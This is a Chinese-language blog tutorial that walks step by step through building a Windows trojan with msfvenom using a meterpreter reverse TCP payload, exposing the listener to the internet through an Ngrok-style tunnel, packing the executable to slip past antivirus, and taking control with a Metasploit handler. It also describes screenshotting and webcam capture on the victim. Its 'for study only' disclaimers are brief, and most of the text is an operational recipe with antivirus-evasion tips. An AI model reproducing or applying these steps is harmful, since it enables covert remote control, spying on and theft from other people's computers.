前言

大家好，這里是浩道linux，主要給大家分享linux、python、網絡通信相關的IT知識平臺。

今天浩道跟大家分享硬核干貨，關于通過Kali Linux系統生成木馬病毒并實現遠程控制計算機的一次安全實戰過程！

?

前言

該文章內容僅用于學習使用Kali Linux系統，請不要將它用于非法的途徑，如有意外概不負責。

我將會詳細介紹使用Kali Linux系統生成木馬并用它遠程控制一臺處在外網的物理計算機，使用到的工具有：

1、VMware Workstation Pro 16（虛擬機）

2、Kali Linux 2021（系統）

3、Sunny-Ngrok（內網穿透服務）

4、Shielden（加殼小工具）

網絡如山勤思為徑，信息似海安全作舟，牢記網絡安全，開始我們接下來的學習。

一、安裝虛擬機和系統

安裝步驟很簡單，可自行百度，網絡適配器選擇橋接模式，要保證你的Kali Linux能連上網。

二、開通隧道

注冊并登錄Sunny-Ngrok，根據自己的情況選擇開通一條隧道，我這里選的是這個免費的。

隧道協議選擇tcp，隧道名稱自己隨便起，遠程端口選一個能用的順眼的（他會給你推薦幾個能用的端口），本地端口需要填寫你Kali Linux系統的IP地址（用ifconfig命令可查看），冒號后面填一個你喜歡的數字（我一般都用8888），本地端口可以隨時修改，確認信息無誤后點擊確認添加。

打開隧道管理，點擊客戶端下載，將下載后的壓縮文件拖進Kali Linux系統里并解壓。

使用cd命令進入該文件夾，通過ls命令可以看到里面有個“sunny”文件。通過./sunny clientid 隧道ID命令開啟隧道。

隧道開啟成功后是這樣子：

三、生成木馬

重新打開一個終端窗口，輸入下列命令回車，他會在root文件夾下生成一個Windows的可執行文件muma.exe。

?

msfvenom?-p?windows/meterpreter/reverse_tcp?LHOST=服務器地址?LPORT=隧道端口?-f?exe?>?/root/muma.exe

?

這時候要注意，先把自己物理機上的所有殺毒軟件退出，因為這是沒有加殼的木馬文件，會立即被刪除，退出殺毒軟件后直接將muma.exe拖進物理機即可。
? ?

四、加殼免殺

為防止被殺毒軟件殺掉，就需要對它進行加殼。
這里用到一個簡單方便的加殼工具：Shielden。

將muma.exe拖進去，設置一些參數，如果對這個工具不熟悉的話可以百度學習一下，嫌麻煩的話就把能選的都選上，這里注意復雜度不要太高（我一般拉到66），太高可能導致該程序失效（這是我踩過的坑）。

下面這個就是加殼成功后的病毒文件了，因為這個加殼工具較小，不能做到專業全面的免殺，在遇到一些強力的殺毒軟件的時候還是會被殺掉，所以就不要想著拿它做壞事了。經過我目前的測試，電腦管家一點都檢測不出來，但會被火絨秒殺，不得不說火絨NB啊，別的殺毒軟件我還沒試過，就交給你們了。

五、遠程控制

該木馬程序在任何人的電腦上只要不被殺掉，都是可以進行遠程控制的，這里為了更加直觀，我將用我的物理機作為被控制的對象。
? ?
打開終端輸入msfconsole回車，這樣就打開了msfconsole。

輸入use exploit/multi/handler回車。

輸入set payload windows/meterpreter/reverse_tcp回車。

輸入show options回車，可以看到Lhost和Lport是空的或不匹配的，這需要我們給他手動寫入。

輸入set lhost 本地IP和set lport 本地端口，這時候再用show options命令，就可以看到我們寫入的信息了。

使用run命令啟動并開始監聽。

這時候我們雙擊物理機上的木馬程序，該終端窗口就會做出反應。

到此，物理機的控制權就是我們的了，百度meterpreter的一些好玩的命令。

? ?
一些基礎的，比如查看物理機的IP地址（ipconfig）：

甚至是截取物理機的電腦屏幕：

更甚至是調用物理機的攝像頭拍照等等，因為大部分命令用截圖無法直觀的表達給你們，所以其他好玩的命令還需要你們自己去探索，百度上有很多，我這里就不一一列出了。??

結束語

因為寫這篇文章時中途離開吃了個飯，換了一次網，導致IP地址改變了（細心的同學可以發現），解決辦法就是把你的隧道踢下線，修改本地端口為你現在的地址，然后重新上線，重新set lhost 新的IP然后run就可以了。?

再提一次，該文章內容僅用于學習使用Kali Linux系統，請不要將它用于非法的途徑，如有意外概不負責。

網絡并非無法之地，我這篇文章所展現的內容雖遠不能對大部分有防護的電腦造成威脅，但網絡安全意識是對每個計算機使用者最基本的要求。

我們互連成網，互幫互助，共同打造良好的網絡環境。

　　審核編輯：湯梓紅